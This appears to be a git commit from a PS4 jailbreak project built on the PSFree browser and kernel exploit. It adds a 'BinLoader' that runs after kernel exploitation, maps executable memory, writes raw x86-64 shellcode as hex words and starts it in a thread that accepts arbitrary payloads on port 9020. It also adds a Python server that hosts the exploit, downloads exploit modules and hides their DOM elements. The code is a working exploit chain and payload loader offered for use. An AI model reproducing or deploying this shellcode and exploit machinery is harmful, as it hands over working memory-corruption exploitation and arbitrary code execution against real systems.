add binloader + malloc fix

This commit is contained in:
Nazky
2025-05-29 14:48:47 +02:00
parent 73a525517d
commit f87aa8cd13
3 changed files with 315 additions and 22 deletions
+67 -17
View File
@@ -1659,11 +1659,17 @@ export async function kexploit() {
await init();
const _init_t2 = performance.now();
if(sessionStorage.getItem('binloader')){
runBinLoader();
return new Promise(() => {});
}
// If setuid is successful, we dont need to run the kexploit again
try {
if (sysi('setuid', 0) == 0) {
log("Not running kexploit again.")
return;
log("Not running kexploit again.");
runBinLoader();
return new Promise(() => {});
}
}
catch (e) {}
@@ -1743,6 +1749,49 @@ export async function kexploit() {
}
}
function runBinLoader() {
/* BinLoader by ps3120 */
var payload_buffer = chain.sysp('mmap', 0x0, 0x300000, 0x7, 0x1000, 0xFFFFFFFF, 0);
var payload_loader = malloc32(0x1000);
var BLDR = payload_loader.backing;
BLDR[0] = 0x56415741; BLDR[1] = 0x83485541; BLDR[2] = 0x894818EC;
BLDR[3] = 0xC748243C; BLDR[4] = 0x10082444; BLDR[5] = 0x483C2302;
BLDR[6] = 0x102444C7; BLDR[7] = 0x00000000; BLDR[8] = 0x000002BF;
BLDR[9] = 0x0001BE00; BLDR[10] = 0xD2310000; BLDR[11] = 0x00009CE8;
BLDR[12] = 0xC7894100; BLDR[13] = 0x8D48C789; BLDR[14] = 0xBA082474;
BLDR[15] = 0x00000010; BLDR[16] = 0x000095E8; BLDR[17] = 0xFF894400;
BLDR[18] = 0x000001BE; BLDR[19] = 0x0095E800; BLDR[20] = 0x89440000;
BLDR[21] = 0x31F631FF; BLDR[22] = 0x0062E8D2; BLDR[23] = 0x89410000;
BLDR[24] = 0x2C8B4CC6; BLDR[25] = 0x45C64124; BLDR[26] = 0x05EBC300;
BLDR[27] = 0x01499848; BLDR[28] = 0xF78944C5; BLDR[29] = 0xBAEE894C;
BLDR[30] = 0x00001000; BLDR[31] = 0x000025E8; BLDR[32] = 0x7FC08500;
BLDR[33] = 0xFF8944E7; BLDR[34] = 0x000026E8; BLDR[35] = 0xF7894400;
BLDR[36] = 0x00001EE8; BLDR[37] = 0x2414FF00; BLDR[38] = 0x18C48348;
BLDR[39] = 0x5E415D41; BLDR[40] = 0x31485F41; BLDR[41] = 0xC748C3C0;
BLDR[42] = 0x000003C0; BLDR[43] = 0xCA894900; BLDR[44] = 0x48C3050F;
BLDR[45] = 0x0006C0C7; BLDR[46] = 0x89490000; BLDR[47] = 0xC3050FCA;
BLDR[48] = 0x1EC0C748; BLDR[49] = 0x49000000; BLDR[50] = 0x050FCA89;
BLDR[51] = 0xC0C748C3; BLDR[52] = 0x00000061; BLDR[53] = 0x0FCA8949;
BLDR[54] = 0xC748C305; BLDR[55] = 0x000068C0; BLDR[56] = 0xCA894900;
BLDR[57] = 0x48C3050F; BLDR[58] = 0x006AC0C7; BLDR[59] = 0x89490000;
BLDR[60] = 0xC3050FCA;
chain.sys('mprotect', payload_loader, 0x4000, (0x1 | 0x2 | 0x4));
var pthread = malloc(0x10);
sysi('mlock', payload_buffer, 0x300000);
call_nze(
'pthread_create',
pthread,
0,
payload_loader,
payload_buffer
);
log('BinLoader is ready. Send a payload to port 9020 now');
}
//For some reason this payload loader version does KP.
/*kexploit().then(() => {
var payload_buffer = chain.sysp('mmap', new Int(0x26200000, 0x9), 0x300000, PROT_READ | PROT_WRITE | PROT_EXEC, 0x41000, -1, 0);
@@ -1762,22 +1811,23 @@ export async function kexploit() {
})*/
kexploit().then(() => {
function malloc(sz) {
var backing = new Uint8Array(0x10000 + sz);
nogc.push(backing);
var ptr = mem.readp(mem.addrof(backing).add(0x10));
ptr.backing = backing;
return ptr;
}
function malloc(sz) {
var backing = new Uint8Array(0x10000 + sz);
nogc.push(backing);
var ptr = mem.readp(mem.addrof(backing).add(0x10));
ptr.backing = backing;
return ptr;
}
function malloc32(sz) {
var backing = new Uint8Array(0x10000 + sz * 4);
nogc.push(backing);
var ptr = mem.readp(mem.addrof(backing).add(0x10));
ptr.backing = new Uint32Array(backing.buffer);
return ptr;
}
function malloc32(sz) {
var backing = new Uint8Array(0x10000 + sz * 4);
nogc.push(backing);
var ptr = mem.readp(mem.addrof(backing).add(0x10));
ptr.backing = new Uint32Array(backing.buffer);
return ptr;
}
kexploit().then(() => {
window.pld_size = new Int(0x26200000, 0x9);
var payload_buffer = chain.sysp('mmap', window.pld_size, 0x300000, 7, 0x41000, -1, 0);
+11 -5
View File
@@ -1,6 +1,12 @@
fetch('./payload.bin').then(res => {
res.arrayBuffer().then(arr => {
window.pld = new Uint32Array(arr);
if (sessionStorage.getItem('jbsuccess')) {
sessionStorage.setItem('binloader', 1);
} else {
sessionStorage.removeItem('binloader');
fetch('./payload.bin').then(res => {
res.arrayBuffer().then(arr => {
window.pld = new Uint32Array(arr);
sessionStorage.setItem('jbsuccess', 1);
})
})
})
}
Executable
+237
View File
@@ -0,0 +1,237 @@
import sys
import socket
import os
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from rich.console import Console
from rich.panel import Panel
from rich.text import Text
import json
from datetime import datetime
import hashlib
import urllib.request
import re
console = Console()
# Configuration for manifest generation
EXCLUDED_DIRS = {'.venv', '.git', 'noneed'}
EXCLUDED_EXTENSIONS = {
'.bat', '.txt', '.exe', '.mp4', '.py', '.bak', '.zip',
'.mp3', '.sh', '.h', '.c', '.o', '.ld', '.md', '.d'
}
EXCLUDED_FILES = {'.gitignore', 'COPYING', 'LICENSE', 'MAKEFILE', 'dockerfile'}
OUTPUT_FILE = 'PSFree.manifest'
def get_machine_ip():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
# doesn't have to be reachable
s.connect(('8.8.8.8', 80))
ip = s.getsockname()[0]
except Exception:
ip = '127.0.0.1'
finally:
s.close()
return ip
def is_docker():
# Check for .dockerenv file
if os.path.exists('/.dockerenv'):
return True
# Check cgroup info for docker
try:
with open('/proc/1/cgroup', 'rt') as f:
return 'docker' in f.read() or 'kubepods' in f.read()
except Exception:
return False
def get_host_ip():
try:
# Try resolving Docker internal host (works on Docker Desktop and configured Linux setups)
host_ip = socket.gethostbyname('host.docker.internal')
return host_ip
except socket.error:
# Fallback if not resolved, may use default gateway IP (requires extra code) or local IP
return 'Could not determine host IP'
def get_ipv4():
if is_docker():
ip = get_host_ip()
if ip:
print(f"Running inside Docker. Host IPv4: {ip}")
else:
print("Running inside Docker, but could not resolve host.docker.internal.")
else:
ip = get_machine_ip()
print(f"Not in Docker. Machine IPv4: {ip}")
return ip
def create_manifest():
root_dir = os.path.dirname(os.path.abspath(__file__))
manifest_path = os.path.join(root_dir, OUTPUT_FILE)
with open(manifest_path, 'w', encoding='utf-8') as f:
# Write header
f.write("CACHE MANIFEST\n")
f.write(f"# v1\n")
f.write(f"# Generated on {datetime.now()}\n\n")
f.write("CACHE:\n")
# Walk through all files
for dirpath, dirnames, filenames in os.walk(root_dir):
# Remove excluded directories (modifies the dirnames list in-place)
dirnames[:] = [d for d in dirnames if d not in EXCLUDED_DIRS]
for filename in filenames:
filepath = os.path.join(dirpath, filename)
relpath = os.path.relpath(filepath, root_dir)
# Skip excluded files, extensions and the manifest file itself
ext = os.path.splitext(filename)[1].lower()
if (ext in EXCLUDED_EXTENSIONS or
filename in EXCLUDED_FILES or
filename == OUTPUT_FILE):
continue
# Write relative path to manifest
f.write(f"{relpath.replace(os.sep, '/')}\n")
# Write network section
f.write("\nNETWORK:\n")
f.write("*\n")
class CustomHandler(SimpleHTTPRequestHandler):
def do_POST(self):
if self.path == '/generate_manifest':
try:
create_manifest()
response = {
'status': 'success',
'message': f'{OUTPUT_FILE} created successfully.\nThe cache has been updated, Please refresh the page.'
}
self.send_response(200)
except Exception as e:
response = {
'status': 'error',
'message': f"{str(e)}\nThis option only works on local server!\nPlease make sure your server is up."
}
self.send_response(500)
self.send_header('Content-Type', 'application/json')
self.end_headers()
self.wfile.write(json.dumps(response).encode('utf-8'))
elif self.path == '/update_exploit':
root_dir = os.path.abspath(os.path.dirname(__file__))
files_to_update = [
("psfree/lapse.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/refs/heads/main/lapse.mjs"),
("psfree/psfree.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/refs/heads/main/psfree.mjs"),
("psfree/config.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/refs/heads/main/config.mjs"),
("psfree/send.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/refs/heads/main/send.mjs"),
("psfree/kpatch/900.elf", "https://raw.githubusercontent.com/kmeps4/PSFree/main/kpatch/900.elf"),
("psfree/rop/900.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/rop/900.mjs"),
#("module/chain.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/chain.mjs"),
("psfree/module/constants.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/constants.mjs"),
("psfree/module/int64.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/int64.mjs"),
("psfree/module/mem.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/mem.mjs"),
("psfree/module/memtools.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/memtools.mjs"),
("psfree/module/offset.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/offset.mjs"),
("psfree/module/rw.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/rw.mjs"),
("psfree/module/utils.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/utils.mjs"),
#("module/view.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/view.mjs")
]
results = []
#def file_hash(data):
# return hashlib.sha256(data).hexdigest()
def is_mjs_file(filename):
return filename.lower().endswith('.mjs')
for local_rel_path, url in files_to_update:
try:
abs_local_path = os.path.abspath(os.path.join(root_dir, local_rel_path))
if not abs_local_path.startswith(root_dir):
raise ValueError(f"Invalid path {local_rel_path}")
# Attempt to download file
try:
with urllib.request.urlopen(url) as response:
raw_data = response.read()
except Exception as download_error:
results.append(f"{local_rel_path}: download failed ({download_error})")
continue # skip to next file
# If .mjs file, decode, replace strings using regex, then encode back
if is_mjs_file(local_rel_path):
text_data = raw_data.decode('utf-8')
text_data = re.sub(r'(?<!\.)\./kpatch\b', './psfree/kpatch', text_data)
text_data = re.sub(r'(?<!\.)\./module\b', './module', text_data)
text_data = re.sub(r'(?<!\.)\./rop\b', '../rop', text_data)
text_data = text_data.replace('alert("kernel exploit succeeded!");', '//alert("kernel exploit succeeded!");')
text_data = text_data.replace("const textarea = document.createElement('textarea');", "const textarea = document.createElement('textarea');\n textarea.style.opacity = '0'; // Set the opacity to 0")
text_data = text_data.replace("const fset = document.createElement('frameset');", "const fset = document.createElement('frameset');\n fset.style.opacity = '0'; // Set the opacity to 0")
text_data = text_data.replace("const input = document.createElement('input');", "const input = document.createElement('input');\n input.style.opacity = '0'; // Set the opacity to 0")
text_data = text_data.replace("const foo = document.createElement('input');", "const foo = document.createElement('input');\n foo.style.opacity = '0'; // Set the opacity to 0")
text_data = text_data.replace("const bar = document.createElement('a');", "const bar = document.createElement('a');\n bar.style.opacity = '0'; // Set the opacity to 0")
new_data = text_data.encode('utf-8')
else:
new_data = raw_data
# Read old file content if exists
old_data = b""
if os.path.exists(abs_local_path):
with open(abs_local_path, 'rb') as f:
old_data = f.read()
# Compare hashes and write if different (need to be fixed)
#if file_hash(new_data) != file_hash(old_data):
# os.makedirs(os.path.dirname(abs_local_path), exist_ok=True)
# with open(abs_local_path, 'wb') as f:
# f.write(new_data)
# results.append(f"{local_rel_path}: updated")
#else:
# results.append(f"{local_rel_path}: skipped (no change)")
os.makedirs(os.path.dirname(abs_local_path), exist_ok=True)
with open(abs_local_path, 'wb') as f:
f.write(new_data)
results.append(f"{local_rel_path}: updated")
except Exception as e:
results.append(f"{local_rel_path}: error ({e})")
self.send_response(200)
self.send_header('Content-Type', 'application/json')
self.end_headers()
self.wfile.write(json.dumps({'results': results}).encode('utf-8'))
else:
# existing 404
self.send_response(404)
self.end_headers()
self.wfile.write(b'Not Found')
PORT = 52721
IP = get_ipv4()
if len(sys.argv) > 1:
try:
PORT = int(sys.argv[1])
except ValueError:
console.print("[bold red]Usage:[/] python serve.py [port]", style="red")
sys.exit(1)
console.print(Panel(Text("Simple Python HTTP Server", style="bold white on blue"),
subtitle="Press [bold yellow]Ctrl+C[/] to stop the server", expand=False))
console.print(
f"[green]Server is running![/]\n"
f"Listening on [bold magenta]http://{IP}:{PORT}/PSFree[/]\n",
style="bold",
)
try:
with TCPServer(("0.0.0.0", PORT), CustomHandler) as httpd:
httpd.serve_forever()
except KeyboardInterrupt:
console.print("\n[bold red]Server stopped by user.[/]")
except OSError as e:
console.print(f"[bold red]Error:[/] {e}")